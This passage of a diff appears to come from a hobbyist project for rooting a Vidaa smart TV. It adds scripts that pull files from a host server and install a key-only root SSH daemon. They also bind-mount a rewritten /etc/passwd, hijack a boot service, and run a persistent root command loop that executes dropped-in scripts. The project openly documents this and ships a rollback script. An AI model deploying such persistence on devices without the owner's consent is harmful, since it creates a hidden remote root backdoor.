|
||||
IP="$(hostname -I 2>/dev/null | awk '{print $1}')"
|
||||
[ -n "$IP" ] || IP="<host-ip>"
|
||||
echo "TV URL: http://$IP:$PORT/recon.html"
|
||||
echo "Pub dir: $(pwd)/pub"
|
||||
echo "Captures:$(pwd)/captures"
|
||||
exec python3 server.py "$PORT"
|
||||
@@ -0,0 +1,25 @@
|
||||
// upload_to_appdata.js — paste into the TV recon page console (after root).
|
||||
// Downloads the SSH/Dropbear deploy files from the host server into
|
||||
// /3rd_rw/appdata so deploy_sshd.sh can install them.
|
||||
(function(){
|
||||
var files = [
|
||||
"dropbear",
|
||||
"dropbear-sftp",
|
||||
"dropbearkey",
|
||||
"sftp-server",
|
||||
"authorized_keys",
|
||||
"start_sshd.sh",
|
||||
"root_loop.sh",
|
||||
"hamservice-wrapper.sh",
|
||||
"deploy_sshd.sh",
|
||||
"verify.sh",
|
||||
"rollback.sh"
|
||||
];
|
||||
var o = {};
|
||||
for (var i = 0; i < files.length; i++) {
|
||||
o[files[i]] = HiBrowser.File.download(location.origin + "/pub/" + files[i],
|
||||
files[i], 1);
|
||||
}
|
||||
fetch("/recon", {method:"POST", body:"UPLOAD "+JSON.stringify(o)});
|
||||
return o;
|
||||
})();
|
||||
Executable
+97
@@ -0,0 +1,97 @@
|
||||
#!/bin/sh
|
||||
# deploy_sshd.sh — run as root on the TV (e.g. via the root loop).
|
||||
#
|
||||
# Expects in /3rd_rw/appdata:
|
||||
# dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh
|
||||
# hamservice-wrapper.sh
|
||||
# Upload these with root/scripts/host/upload_to_appdata.js (or File.download).
|
||||
#
|
||||
# Installs:
|
||||
# /3rd_rw/sshd/{dropbear,dropbearkey,host_key,etc_passwd,start_sshd.sh,home/.ssh/authorized_keys}
|
||||
# /3rd_rw/hamservice/HamService (wrapper; replaces the symlink)
|
||||
# bind /etc/passwd -> /3rd_rw/sshd/etc_passwd
|
||||
# devpts /dev/shm/pts -> bind /dev/pts (PTY workaround)
|
||||
# Dropbear on 0.0.0.0:22, key-only root login
|
||||
#
|
||||
# Reversible with rollback.sh or the ROOT-GUIDE.
|
||||
set -e
|
||||
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||
export PATH
|
||||
|
||||
APP=/3rd_rw/appdata
|
||||
D=/3rd_rw/sshd
|
||||
|
||||
echo "=== deploy_sshd: start ==="
|
||||
for f in dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh hamservice-wrapper.sh; do
|
||||
[ -f "$APP/$f" ] || { echo "missing: $APP/$f"; exit 1; }
|
||||
done
|
||||
|
||||
mkdir -p "$D/home/.ssh" /3rd_rw/hamservice
|
||||
|
||||
# --- binaries + host key -------------------------------------------------
|
||||
cp -f "$APP/dropbear" "$D/dropbear"
|
||||
if [ -f "$APP/dropbear-sftp" ]; then
|
||||
cp -f "$APP/dropbear-sftp" "$D/dropbear"
|
||||
echo "using SFTP-capable dropbear"
|
||||
fi
|
||||
chmod 755 "$D/dropbear"
|
||||
cp -f "$APP/dropbearkey" "$D/dropbearkey"; chmod 755 "$D/dropbearkey"
|
||||
if [ -f "$APP/sftp-server" ]; then
|
||||
cp -f "$APP/sftp-server" "$D/sftp-server"
|
||||
chmod 755 "$D/sftp-server"
|
||||
echo "sftp-server installed"
|
||||
fi
|
||||
if [ ! -f "$D/host_key" ]; then
|
||||
"$D/dropbearkey" -t ed25519 -f "$D/host_key"
|
||||
fi
|
||||
|
||||
# --- root home via bind-mounted passwd -----------------------------------
|
||||
cp -f /etc/passwd "$D/etc_passwd"
|
||||
sed -i 's|^root:x:0:0:root:.*|root:x:0:0:root:/3rd_rw/sshd/home:/bin/sh|' "$D/etc_passwd"
|
||||
if ! grep -q '^root:x:0:0:root:/3rd_rw/sshd/home:' /etc/passwd 2>/dev/null; then
|
||||
mount --bind "$D/etc_passwd" /etc/passwd 2>>"$D/mount.log" \
|
||||
|| mount -o bind "$D/etc_passwd" /etc/passwd 2>>"$D/mount.log"
|
||||
fi
|
||||
|
||||
# --- PTY: devpts on tmpfs, bind over /dev/pts -----------------------------
|
||||
mkdir -p /dev/shm/pts
|
||||
if ! grep -q ' /dev/shm/pts ' /proc/mounts; then
|
||||
mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts 2>>"$D/mount.log" \
|
||||
|| mount -t devpts devpts /dev/shm/pts 2>>"$D/mount.log"
|
||||
fi
|
||||
if ! grep -q ' /dev/pts ' /proc/mounts; then
|
||||
mount --bind /dev/shm/pts /dev/pts 2>>"$D/mount.log"
|
||||
fi
|
||||
|
||||
# --- authorized key / permissions ----------------------------------------
|
||||
cp -f "$APP/authorized_keys" "$D/home/.ssh/authorized_keys"
|
||||
chmod 700 "$D/home" "$D/home/.ssh"
|
||||
chmod 600 "$D/home/.ssh/authorized_keys"
|
||||
chown -R 0:0 "$D"
|
||||
|
||||
# --- start script + root loop + boot wrapper -----------------------------
|
||||
cp -f "$APP/start_sshd.sh" "$D/start_sshd.sh"; chmod 755 "$D/start_sshd.sh"
|
||||
chmod 644 "$APP/root_loop.sh"
|
||||
rm -f /3rd_rw/hamservice/HamService
|
||||
cp -f "$APP/hamservice-wrapper.sh" /3rd_rw/hamservice/HamService
|
||||
chmod 755 /3rd_rw/hamservice/HamService
|
||||
|
||||
# --- start now (idempotent) ----------------------------------------------
|
||||
/bin/sh "$D/start_sshd.sh"
|
||||
sleep 2
|
||||
|
||||
echo "--- passwd root entry ---"
|
||||
grep '^root:' /etc/passwd
|
||||
echo "--- mounts ---"
|
||||
grep -E ' /etc/passwd | /dev/pts | /dev/shm/pts ' /proc/mounts
|
||||
echo "--- processes ---"
|
||||
ps | grep -E 'dropbear|root_loop' | grep -v grep || true
|
||||
echo "--- tcp 22 ---"
|
||||
cat /proc/net/tcp | grep -i ':0016' || true
|
||||
echo "--- dropbear log ---"
|
||||
/bin/busybox tail -n 8 "$D/dropbear.log" 2>&1 || true
|
||||
echo "--- host key ---"
|
||||
"$D/dropbearkey" -y -f "$D/host_key" 2>&1 | /bin/busybox tail -n 3 || true
|
||||
echo "--- files ---"
|
||||
ls -la "$D" "$D/home/.ssh" /3rd_rw/hamservice
|
||||
echo "=== deploy_sshd: done ==="
|
||||
Executable
+37
@@ -0,0 +1,37 @@
|
||||
#!/bin/sh
|
||||
# enable_sftp.sh — after a successful `sftp -P 2222` test, swap the
|
||||
# SFTP-capable Dropbear onto port 22.
|
||||
#
|
||||
# Backs up the current binary as /3rd_rw/sshd/dropbear.nosftp, schedules
|
||||
# swap_sftp.sh detached (the caller's SSH session will drop), and returns.
|
||||
set -e
|
||||
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||
export PATH
|
||||
APP=/3rd_rw/appdata
|
||||
D=/3rd_rw/sshd
|
||||
|
||||
[ -f "$D/sftp-server" ] || { echo "missing $D/sftp-server"; exit 1; }
|
||||
[ -f "$D/dropbear-sftp" ] || { echo "missing $D/dropbear-sftp"; exit 1; }
|
||||
[ -f "$APP/swap_sftp.sh" ] || { echo "missing $APP/swap_sftp.sh"; exit 1; }
|
||||
|
||||
# stop the 2222 test instance
|
||||
if [ -f "$D/dropbear2222.pid" ]; then
|
||||
kill "$(cat "$D/dropbear2222.pid")" 2>/dev/null || true
|
||||
rm -f "$D/dropbear2222.pid"
|
||||
fi
|
||||
|
||||
# one-time backup of the known-good non-SFTP binary
|
||||
if [ ! -f "$D/dropbear.nosftp" ]; then
|
||||
cp -f "$D/dropbear" "$D/dropbear.nosftp"
|
||||
chmod 755 "$D/dropbear.nosftp"
|
||||
fi
|
||||
|
||||
cp -f "$D/dropbear-sftp" "$D/dropbear.new"
|
||||
chmod 755 "$D/dropbear.new"
|
||||
|
||||
if /bin/busybox --list 2>/dev/null | grep -q '^nohup$'; then
|
||||
/bin/busybox nohup /bin/sh "$APP/swap_sftp.sh" >"$D/swap.log" 2>&1 &
|
||||
else
|
||||
/bin/sh "$APP/swap_sftp.sh" >"$D/swap.log" 2>&1 &
|
||||
fi
|
||||
echo "swap scheduled; port 22 will restart in ~3s; reconnect after ~6s"
|
||||
Executable
+13
@@ -0,0 +1,13 @@
|
||||
#!/bin/sh
|
||||
# /3rd_rw/hamservice/HamService (wrapper; install via deploy_sshd.sh)
|
||||
# Early-ish boot hook (startHam.sh, after ~15 s): starts the root loop and
|
||||
# Dropbear, then executes the real HamService. Reversible:
|
||||
# rm /3rd_rw/hamservice/HamService
|
||||
# ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService
|
||||
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||
export PATH
|
||||
|
||||
/bin/sh /3rd_rw/appdata/root_loop.sh >/dev/null 2>&1 &
|
||||
[ -x /3rd_rw/sshd/start_sshd.sh ] && /bin/sh /3rd_rw/sshd/start_sshd.sh >/dev/null 2>&1 &
|
||||
|
||||
exec /3rd/hamservice/HamService "$@"
|
||||
Executable
+51
@@ -0,0 +1,51 @@
|
||||
#!/bin/sh
|
||||
# install_sftp_stage.sh — stage SFTP on the TV without touching port 22.
|
||||
#
|
||||
# Expects in /3rd_rw/appdata:
|
||||
# sftp-server static OpenSSH sftp-server
|
||||
# dropbear-sftp Dropbear with SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server
|
||||
#
|
||||
# Copies both to /3rd_rw/sshd and starts a test Dropbear on port 2222.
|
||||
# The caller then tests `sftp -P 2222`. Only if that works, enable_sftp.sh
|
||||
# swaps the binary on port 22.
|
||||
set -e
|
||||
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||
export PATH
|
||||
|
||||
APP=/3rd_rw/appdata
|
||||
D=/3rd_rw/sshd
|
||||
|
||||
echo "=== sftp stage: start ==="
|
||||
for f in sftp-server dropbear-sftp; do
|
||||
[ -f "$APP/$f" ] || { echo "missing: $APP/$f"; exit 1; }
|
||||
done
|
||||
mkdir -p "$D"
|
||||
cp -f "$APP/sftp-server" "$D/sftp-server"; chmod 755 "$D/sftp-server"
|
||||
cp -f "$APP/dropbear-sftp" "$D/dropbear-sftp"; chmod 755 "$D/dropbear-sftp"
|
||||
|
||||
# Verify the patched path and static server
|
||||
echo "--- patched path ---"
|
||||
if grep -q '/3rd_rw/sshd/sftp-server' "$D/dropbear-sftp" 2>/dev/null; then
|
||||
echo "patched SFTPSERVER_PATH OK"
|
||||
else
|
||||
echo "WARNING: patched path not found (continuing; SFTP may fail)"
|
||||
fi
|
||||
|
||||
# Stop a previous test instance
|
||||
if [ -f "$D/dropbear2222.pid" ]; then
|
||||
kill "$(cat "$D/dropbear2222.pid")" 2>/dev/null || true
|
||||
rm -f "$D/dropbear2222.pid"
|
||||
fi
|
||||
sleep 1
|
||||
|
||||
"$D/dropbear-sftp" -r "$D/host_key" -p 2222 \
|
||||
-P "$D/dropbear2222.pid" -E >> "$D/dropbear2222.log" 2>&1 &
|
||||
sleep 2
|
||||
|
||||
echo "--- processes ---"
|
||||
ps | grep dropbear | grep -v grep || true
|
||||
echo "--- tcp 2222 (08AE) ---"
|
||||
cat /proc/net/tcp | grep -i ':08AE' || true
|
||||
echo "--- log ---"
|
||||
/bin/busybox tail -n 10 "$D/dropbear2222.log" 2>&1 || true
|
||||
echo "=== sftp stage: done; test with: sftp -P 2222 root@<tv> ==="
|
||||
Executable
+29
@@ -0,0 +1,29 @@
|
||||
#!/bin/sh
|
||||
# rollback.sh — remove the root/SSH persistence layers (run as root).
|
||||
# The rootfs is untouched; this only removes /3rd_rw changes + runtime mounts.
|
||||
# Reboot afterwards for a clean state.
|
||||
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||
export PATH
|
||||
D=/3rd_rw/sshd
|
||||
|
||||
echo "=== rollback: stopping loop/dropbear ==="
|
||||
[ -f /3rd_rw/appdata/root_loop.pid ] && kill "$(cat /3rd_rw/appdata/root_loop.pid)" 2>/dev/null || true
|
||||
[ -f "$D/dropbear.pid" ] && kill "$(cat "$D/dropbear.pid")" 2>/dev/null || true
|
||||
|
||||
echo "=== restore HamService symlink ==="
|
||||
rm -f /3rd_rw/hamservice/HamService
|
||||
ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService
|
||||
|
||||
echo "=== unmount runtime bind mounts ==="
|
||||
umount /etc/passwd 2>/dev/null || true
|
||||
umount /dev/pts 2>/dev/null || true
|
||||
umount /dev/shm/pts 2>/dev/null || true
|
||||
|
||||
echo "=== remove sshd dir + shadows ==="
|
||||
rm -rf "$D"
|
||||
rm -f /3rd_rw/loglevel/lib/libtvsysinfo.so
|
||||
rm -f /3rd_rw/ms-screen/lib/liblogLevel.so
|
||||
rm -f /3rd_rw/appdata/liblogLevel.so
|
||||
sync
|
||||
|
||||
echo "=== rollback done; reboot recommended ==="
|
||||
Executable
+25
@@ -0,0 +1,25 @@
|
||||
#!/bin/sh
|
||||
# /3rd_rw/appdata/root_loop.sh
|
||||
# Root command loop. One instance per boot (boot_id lock).
|
||||
# Write /3rd_rw/appdata/root_cmd.sh; read /3rd_rw/appdata/root_out.txt.
|
||||
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||
export PATH
|
||||
|
||||
BID=""
|
||||
[ -r /proc/sys/kernel/random/boot_id ] && BID=$(cat /proc/sys/kernel/random/boot_id 2>/dev/null)
|
||||
[ -z "$BID" ] && BID=0
|
||||
LOCK="/3rd_rw/appdata/root_loop.lock.$BID"
|
||||
mkdir "$LOCK" 2>/dev/null || exit 0
|
||||
|
||||
echo "$$" > /3rd_rw/appdata/root_loop.pid
|
||||
echo "loop started $$ $BID" > /3rd_rw/appdata/root_loop.log
|
||||
|
||||
while true; do
|
||||
if [ -f /3rd_rw/appdata/root_cmd.sh ]; then
|
||||
mv /3rd_rw/appdata/root_cmd.sh /3rd_rw/appdata/root_cmd.run
|
||||
/bin/sh /3rd_rw/appdata/root_cmd.run > /3rd_rw/appdata/root_out.txt 2>&1
|
||||
echo "rc=$?" >> /3rd_rw/appdata/root_out.txt
|
||||
mv /3rd_rw/appdata/root_cmd.run /3rd_rw/appdata/root_cmd.done
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
Executable
+39
@@ -0,0 +1,39 @@
|
||||
#!/bin/sh
|
||||
# /3rd_rw/sshd/start_sshd.sh
|
||||
# Starts Dropbear with key-only auth. Also re-creates the runtime bind mounts:
|
||||
# /etc/passwd -> /3rd_rw/sshd/etc_passwd (root home -> /3rd_rw/sshd/home)
|
||||
# /dev/pts -> devpts on /dev/shm/pts (PTY workaround; /dev is static ro)
|
||||
# Must run as root. Idempotent.
|
||||
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||
export PATH
|
||||
mkdir -p /3rd_rw/sshd
|
||||
|
||||
# 1) passwd bind mount (root home must be writable for ~/.ssh/authorized_keys)
|
||||
if ! grep -q '^root:x:0:0:root:/3rd_rw/sshd/home:' /etc/passwd 2>/dev/null; then
|
||||
mount --bind /3rd_rw/sshd/etc_passwd /etc/passwd 2>>/3rd_rw/sshd/mount.log \
|
||||
|| mount -o bind /3rd_rw/sshd/etc_passwd /etc/passwd 2>>/3rd_rw/sshd/mount.log
|
||||
fi
|
||||
|
||||
# 2) PTY: /dev is a static ro squashfs, no devtmpfs. Mount devpts on tmpfs
|
||||
# and bind it over /dev/pts. /dev/ptmx (5,2) remains the static node.
|
||||
mkdir -p /dev/shm/pts
|
||||
if ! grep -q ' /dev/shm/pts ' /proc/mounts; then
|
||||
mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts 2>>/3rd_rw/sshd/mount.log \
|
||||
|| mount -t devpts devpts /dev/shm/pts 2>>/3rd_rw/sshd/mount.log
|
||||
fi
|
||||
if ! grep -q ' /dev/pts ' /proc/mounts; then
|
||||
mount --bind /dev/shm/pts /dev/pts 2>>/3rd_rw/sshd/mount.log
|
||||
fi
|
||||
|
||||
# 3) already running?
|
||||
if [ -f /3rd_rw/sshd/dropbear.pid ]; then
|
||||
PID=$(cat /3rd_rw/sshd/dropbear.pid)
|
||||
if kill -0 "$PID" 2>/dev/null && grep -q dropbear "/proc/$PID/cmdline" 2>/dev/null; then
|
||||
exit 0
|
||||
fi
|
||||
rm -f /3rd_rw/sshd/dropbear.pid
|
||||
fi
|
||||
|
||||
# 4) start key-only Dropbear (password auth is disabled at build time)
|
||||
/3rd_rw/sshd/dropbear -r /3rd_rw/sshd/host_key -p 22 \
|
||||
-P /3rd_rw/sshd/dropbear.pid -E >> /3rd_rw/sshd/dropbear.log 2>&1 &
|
||||
Executable
+34
@@ -0,0 +1,34 @@
|
||||
#!/bin/sh
|
||||
# swap_sftp.sh — runs detached from enable_sftp.sh.
|
||||
# Stops the old Dropbear, swaps in the SFTP-capable binary, restarts, and
|
||||
# falls back to dropbear.nosftp if port 22 does not come up.
|
||||
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||
export PATH
|
||||
D=/3rd_rw/sshd
|
||||
|
||||
echo "=== swap_sftp $(date) ==="
|
||||
sleep 1
|
||||
|
||||
if [ -f "$D/dropbear.pid" ]; then
|
||||
kill "$(cat "$D/dropbear.pid")" 2>/dev/null || true
|
||||
fi
|
||||
sleep 1
|
||||
|
||||
mv -f "$D/dropbear.new" "$D/dropbear"
|
||||
chmod 755 "$D/dropbear"
|
||||
/bin/sh "$D/start_sshd.sh"
|
||||
sleep 3
|
||||
|
||||
if cat /proc/net/tcp | grep -qi ':0016'; then
|
||||
echo "port 22 listening with SFTP-capable dropbear"
|
||||
else
|
||||
echo "port 22 NOT listening; restoring dropbear.nosftp"
|
||||
cp -f "$D/dropbear.nosftp" "$D/dropbear"
|
||||
chmod 755 "$D/dropbear"
|
||||
/bin/sh "$D/start_sshd.sh"
|
||||
sleep 2
|
||||
cat /proc/net/tcp | grep -i ':0016' || true
|
||||
fi
|
||||
|
||||
echo "=== swap_sftp done ==="
|
||||
ps | grep dropbear | grep -v grep || true
|
||||
Executable
+47
@@ -0,0 +1,47 @@
|
||||
#!/bin/sh
|
||||
# verify.sh — quick health check for the rooted TV (run as root).
|
||||
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||
export PATH
|
||||
D=/3rd_rw/sshd
|
||||
|
||||
echo "=== proof ==="
|
||||
cat /3rd_rw/root_proof.txt 2>&1
|
||||
|
||||
echo "=== root loop ==="
|
||||
cat /3rd_rw/appdata/root_loop.pid 2>&1
|
||||
ps | grep root_loop | grep -v grep || true
|
||||
|
||||
echo "=== dropbear ==="
|
||||
ps | grep dropbear | grep -v grep || true
|
||||
cat /proc/net/tcp | grep -i ':0016' || true
|
||||
/bin/busybox tail -n 10 "$D/dropbear.log" 2>&1 || true
|
||||
|
||||
echo "=== sftp (optional) ==="
|
||||
if [ -f /3rd_rw/sshd/sftp-server ]; then
|
||||
echo "sftp-server present"
|
||||
else
|
||||
echo "sftp-server missing (optional)"
|
||||
fi
|
||||
if grep -q '/3rd_rw/sshd/sftp-server' /3rd_rw/sshd/dropbear 2>/dev/null; then
|
||||
echo "dropbear SFTP path OK"
|
||||
else
|
||||
echo "dropbear unpatched (optional; install_sftp.sh)"
|
||||
fi
|
||||
|
||||
echo "=== passwd / root home ==="
|
||||
grep '^root:' /etc/passwd
|
||||
|
||||
echo "=== authorized key ==="
|
||||
ls -l "$D/home/.ssh/authorized_keys" 2>&1
|
||||
/bin/busybox head -c 120 "$D/home/.ssh/authorized_keys" 2>&1; echo
|
||||
|
||||
echo "=== mounts ==="
|
||||
grep -E ' /etc/passwd | /dev/pts | /dev/shm/pts ' /proc/mounts
|
||||
|
||||
echo "=== current uid/gid (this shell) ==="
|
||||
grep -E '^(Uid|Gid|CapEff):' /proc/self/status
|
||||
|
||||
echo "=== host key ==="
|
||||
"$D/dropbearkey" -y -f "$D/host_key" 2>&1 | /bin/busybox tail -n 3 || true
|
||||
|
||||
echo "=== verify done ==="
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 688 B |
Whitespace-only changes.
@@ -0,0 +1 @@
|
||||
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKLzgdRrwTGWMSHIurddPrQBY/2zOk+BlsU4jJWtPh/B vidaa-root
|
||||
Executable
+97
@@ -0,0 +1,97 @@
|
||||
#!/bin/sh
|
||||
# deploy_sshd.sh — run as root on the TV (e.g. via the root loop).
|
||||
#
|
||||
# Expects in /3rd_rw/appdata:
|
||||
# dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh
|
||||
# hamservice-wrapper.sh
|
||||
# Upload these with root/scripts/host/upload_to_appdata.js (or File.download).
|
||||
#
|
||||
# Installs:
|
||||
# /3rd_rw/sshd/{dropbear,dropbearkey,host_key,etc_passwd,start_sshd.sh,home/.ssh/authorized_keys}
|
||||
# /3rd_rw/hamservice/HamService (wrapper; replaces the symlink)
|
||||
# bind /etc/passwd -> /3rd_rw/sshd/etc_passwd
|
||||
# devpts /dev/shm/pts -> bind /dev/pts (PTY workaround)
|
||||
# Dropbear on 0.0.0.0:22, key-only root login
|
||||
#
|
||||
# Reversible with rollback.sh or the ROOT-GUIDE.
|
||||
set -e
|
||||
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||
export PATH
|
||||
|
||||
APP=/3rd_rw/appdata
|
||||
D=/3rd_rw/sshd
|
||||
|
||||
echo "=== deploy_sshd: start ==="
|
||||
for f in dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh hamservice-wrapper.sh; do
|
||||
[ -f "$APP/$f" ] || { echo "missing: $APP/$f"; exit 1; }
|
||||
done
|
||||
|
||||
mkdir -p "$D/home/.ssh" /3rd_rw/hamservice
|
||||
|
||||
# --- binaries + host key -------------------------------------------------
|
||||
cp -f "$APP/dropbear" "$D/dropbear"
|
||||
if [ -f "$APP/dropbear-sftp" ]; then
|
||||
cp -f "$APP/dropbear-sftp" "$D/dropbear"
|
||||
echo "using SFTP-capable dropbear"
|
||||
fi
|
||||
chmod 755 "$D/dropbear"
|
||||
cp -f "$APP/dropbearkey" "$D/dropbearkey"; chmod 755 "$D/dropbearkey"
|
||||
if [ -f "$APP/sftp-server" ]; then
|
||||
cp -f "$APP/sftp-server" "$D/sftp-server"
|
||||
chmod 755 "$D/sftp-server"
|
||||
echo "sftp-server installed"
|
||||
fi
|
||||
if [ ! -f "$D/host_key" ]; then
|
||||
"$D/dropbearkey" -t ed25519 -f "$D/host_key"
|
||||
fi
|
||||
|
||||
# --- root home via bind-mounted passwd -----------------------------------
|
||||
cp -f /etc/passwd "$D/etc_passwd"
|
||||
sed -i 's|^root:x:0:0:root:.*|root:x:0:0:root:/3rd_rw/sshd/home:/bin/sh|' "$D/etc_passwd"
|
||||
if ! grep -q '^root:x:0:0:root:/3rd_rw/sshd/home:' /etc/passwd 2>/dev/null; then
|
||||
mount --bind "$D/etc_passwd" /etc/passwd 2>>"$D/mount.log" \
|
||||
|| mount -o bind "$D/etc_passwd" /etc/passwd 2>>"$D/mount.log"
|
||||
fi
|
||||
|
||||
# --- PTY: devpts on tmpfs, bind over /dev/pts -----------------------------
|
||||
mkdir -p /dev/shm/pts
|
||||
if ! grep -q ' /dev/shm/pts ' /proc/mounts; then
|
||||
mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts 2>>"$D/mount.log" \
|
||||
|| mount -t devpts devpts /dev/shm/pts 2>>"$D/mount.log"
|
||||
fi
|
||||
if ! grep -q ' /dev/pts ' /proc/mounts; then
|
||||
mount --bind /dev/shm/pts /dev/pts 2>>"$D/mount.log"
|
||||
fi
|
||||
|
||||
# --- authorized key / permissions ----------------------------------------
|
||||
cp -f "$APP/authorized_keys" "$D/home/.ssh/authorized_keys"
|
||||
chmod 700 "$D/home" "$D/home/.ssh"
|
||||
chmod 600 "$D/home/.ssh/authorized_keys"
|
||||
chown -R 0:0 "$D"
|
||||
|
||||
# --- start script + root loop + boot wrapper -----------------------------
|
||||
cp -f "$APP/start_sshd.sh" "$D/start_sshd.sh"; chmod 755 "$D/start_sshd.sh"
|
||||
chmod 644 "$APP/root_loop.sh"
|
||||
rm -f /3rd_rw/hamservice/HamService
|
||||
cp -f "$APP/hamservice-wrapper.sh" /3rd_rw/hamservice/HamService
|
||||
chmod 755 /3rd_rw/hamservice/HamService
|
||||
|
||||
# --- start now (idempotent) ----------------------------------------------
|
||||
/bin/sh "$D/start_sshd.sh"
|
||||
sleep 2
|
||||
|
||||
echo "--- passwd root entry ---"
|
||||
grep '^root:' /etc/passwd
|
||||
echo "--- mounts ---"
|
||||
grep -E ' /etc/passwd | /dev/pts | /dev/shm/pts ' /proc/mounts
|
||||
echo "--- processes ---"
|
||||
ps | grep -E 'dropbear|root_loop' | grep -v grep || true
|
||||
echo "--- tcp 22 ---"
|
||||
cat /proc/net/tcp | grep -i ':0016' || true
|
||||
echo "--- dropbear log ---"
|
||||
/bin/busybox tail -n 8 "$D/dropbear.log" 2>&1 || true
|
||||
echo "--- host key ---"
|
||||
"$D/dropbearkey" -y -f "$D/host_key" 2>&1 | /bin/busybox tail -n 3 || true
|
||||
echo "--- files ---"
|
||||
ls -la "$D" "$D/home/.ssh" /3rd_rw/hamservice
|
||||
echo "=== deploy_sshd: done ==="
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
+13
@@ -0,0 +1,13 @@
|
||||
#!/bin/sh
|
||||
# /3rd_rw/hamservice/HamService (wrapper; install via deploy_sshd.sh)
|
||||
# Early-ish boot hook (startHam.sh, after ~15 s): starts the root loop and
|
||||
# Dropbear, then executes the real HamService. Reversible:
|
||||
# rm /3rd_rw/hamservice/HamService
|
||||
# ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService
|
||||
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||
export PATH
|
||||
|
||||
/bin/sh /3rd_rw/appdata/root_loop.sh >/dev/null 2>&1 &
|
||||
[ -x /3rd_rw/sshd/start_sshd.sh ] && /bin/sh /3rd_rw/sshd/start_sshd.sh >/dev/null 2>&1 &
|
||||
|
||||
exec /3rd/hamservice/HamService "$@"
|
||||
Binary file not shown.
Executable
+29
@@ -0,0 +1,29 @@
|
||||
#!/bin/sh
|
||||
# rollback.sh — remove the root/SSH persistence layers (run as root).
|
||||
# The rootfs is untouched; this only removes /3rd_rw changes + runtime mounts.
|
||||
# Reboot afterwards for a clean state.
|
||||
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||
export PATH
|
||||
D=/3rd_rw/sshd
|
||||
|
||||
echo "=== rollback: stopping loop/dropbear ==="
|
||||
[ -f /3rd_rw/appdata/root_loop.pid ] && kill "$(cat /3rd_rw/appdata/root_loop.pid)" 2>/dev/null || true
|
||||
[ -f "$D/dropbear.pid" ] && kill "$(cat "$D/dropbear.pid")" 2>/dev/null || true
|
||||
|
||||
echo "=== restore HamService symlink ==="
|
||||
rm -f /3rd_rw/hamservice/HamService
|
||||
ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService
|
||||
|
||||
echo "=== unmount runtime bind mounts ==="
|
||||
umount /etc/passwd 2>/dev/null || true
|
||||
umount /dev/pts 2>/dev/null || true
|
||||
umount /dev/shm/pts 2>/dev/null || true
|
||||
|
||||
echo "=== remove sshd dir + shadows ==="
|
||||
rm -rf "$D"
|
||||
rm -f /3rd_rw/loglevel/lib/libtvsysinfo.so
|
||||
rm -f /3rd_rw/ms-screen/lib/liblogLevel.so
|
||||
rm -f /3rd_rw/appdata/liblogLevel.so
|
||||
sync
|
||||
|
||||
echo "=== rollback done; reboot recommended ==="
|
||||
Executable
+25
@@ -0,0 +1,25 @@
|
||||
#!/bin/sh
|
||||
# /3rd_rw/appdata/root_loop.sh
|
||||
# Root command loop. One instance per boot (boot_id lock).
|
||||
# Write /3rd_rw/appdata/root_cmd.sh; read /3rd_rw/appdata/root_out.txt.
|
||||
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||
export PATH
|
||||
|
||||
BID=""
|
||||
[ -r /proc/sys/kernel/random/boot_id ] && BID=$(cat /proc/sys/kernel/random/boot_id 2>/dev/null)
|
||||
[ -z "$BID" ] && BID=0
|
||||
LOCK="/3rd_rw/appdata/root_loop.lock.$BID"
|
||||
mkdir "$LOCK" 2>/dev/null || exit 0
|
||||
|
||||
echo "$$" > /3rd_rw/appdata/root_loop.pid
|
||||
echo "loop started $$ $BID" > /3rd_rw/appdata/root_loop.log
|
||||
|
||||
while true; do
|
||||
if [ -f /3rd_rw/appdata/root_cmd.sh ]; then
|
||||
mv /3rd_rw/appdata/root_cmd.sh /3rd_rw/appdata/root_cmd.run
|
||||
/bin/sh /3rd_rw/appdata/root_cmd.run > /3rd_rw/appdata/root_out.txt 2>&1
|
||||
echo "rc=$?" >> /3rd_rw/appdata/root_out.txt
|
||||
mv /3rd_rw/appdata/root_cmd.run /3rd_rw/appdata/root_cmd.done
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
Executable
BIN
Binary file not shown.
Executable
+39
@@ -0,0 +1,39 @@
|
||||
#!/bin/sh
|
||||
# /3rd_rw/sshd/start_sshd.sh
|
||||
# Starts Dropbear with key-only auth. Also re-creates the runtime bind mounts:
|
||||
# /etc/passwd -> /3rd_rw/sshd/etc_passwd (root home -> /3rd_rw/sshd/home)
|
||||
# /dev/pts -> devpts on /dev/shm/pts (PTY workaround; /dev is static ro)
|
||||
# Must run as root. Idempotent.
|
||||
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||
export PATH
|
||||
mkdir -p /3rd_rw/sshd
|
||||
|
||||
